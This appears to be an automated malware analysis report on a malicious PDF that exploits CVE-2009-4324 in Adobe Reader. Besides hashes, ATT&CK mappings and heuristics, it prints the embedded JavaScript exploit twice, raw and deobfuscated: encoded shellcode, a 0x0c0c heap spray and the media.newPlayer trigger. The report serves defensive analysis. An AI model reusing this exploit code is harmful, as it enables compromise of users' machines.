Malicious PDF — malware analysis report

Static analysis result for SHA-256 72ca3fdb0835c571…

MALICIOUS

PDF

114.2 KB Created: 2009-07-08 10:53:46 +08:00 Authoring application: Acrobat Distiller 7.0 (Windows)
MD5: c8e619c78680496236ddc8044ed7aeb0 SHA-1: 9b226b93f6d4eaa3b663e42c0a0199d7dbe57a73 SHA-256: 72ca3fdb0835c57111c9414694494338199c8eb6946b6c2b54f6c2889f3ded95
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains embedded JavaScript that exploits CVE-2009-4324. The deobfuscated JavaScript indicates it is designed to download and execute a second-stage payload, likely from a remote source. The ML classifier strongly supports the malicious nature of this file.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0017_000.js
f84736c2ad6b55a2cd19591a17b8698db9d6c8aa54560e0a6c7a7272c028dbc8		 pdf-javascript-stream PDF /JS object 17 at offset 0x4DD 2948 bytes
Preview script
First 1,000 lines of the extracted script
var unes=unescape;
var pGvRIJZpqdN =  unes("%u4143%u494b%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9"+
"\x25\x75EBFA\x25\x75E805\x25\x75FFEB\x25\x75FFFF"+
"%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9"+
"%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF"+
"%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06"+
"%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF"+
"%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791"+
"%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601"+
"%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993"+
"%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD"+
"%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD"+
"%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9"+
"%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9"+
"%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9"+
"%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D"+
"%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD"+
"%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD"+
"%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D"+
"%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372"+
"%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C"+
"%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = unes("\x25\x750\x630\x63\x25\x750\x630\x63");
var QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE = unes("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 32768) AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc+=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc;
	AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.substring(0,32768 - pGvRIJZpqdN.length);

memory=new Array();

for(i=0;i<0x2000;i++) {
	memory[i]= AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc + pGvRIJZpqdN;
}

util.printd("FGgITeSFZAjpOsSyXgoMbUZttCRxNEDbuZjH", new Date());
util.printd("PAAhBAPMqrBpJVqRwqwcuxjWkEUEcZdEnvdP", new Date());
try {this.media["\x6e\x65\x77\x50\x6c\x61\x79\x65\x72"](null);} catch(e) {}
util.printd(QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE, new Date());
generic_stage_recovery_000.js
e54b5b28939dc50b4e8c99a4701c3c8c92afdb921b3c241ff17fb5204ddd3436		 deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 17 at offset 0x4DD 2784 bytes
Preview script
First 1,000 lines of the extracted script
var unes=unescape;
var pGvRIJZpqdN =  unes("%u4143%u494b%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9%uEBFA%uE805%uFFEB%uFFFF%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = unes("\x25\x750\x630\x63\x25\x750\x630\x63");
var QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE = unes("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 32768) AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc+=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc;
	AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.substring(0,32768 - pGvRIJZpqdN.length);

memory=new Array();

for(i=0;i<0x2000;i++) {
	memory[i]= AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc + pGvRIJZpqdN;
}

util.printd("FGgITeSFZAjpOsSyXgoMbUZttCRxNEDbuZjH", new Date());
util.printd("PAAhBAPMqrBpJVqRwqwcuxjWkEUEcZdEnvdP", new Date());
try {this.media["\x6e\x65\x77\x50\x6c\x61\x79\x65\x72"](null);} catch(e) {}
util.printd(QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE, new Date());

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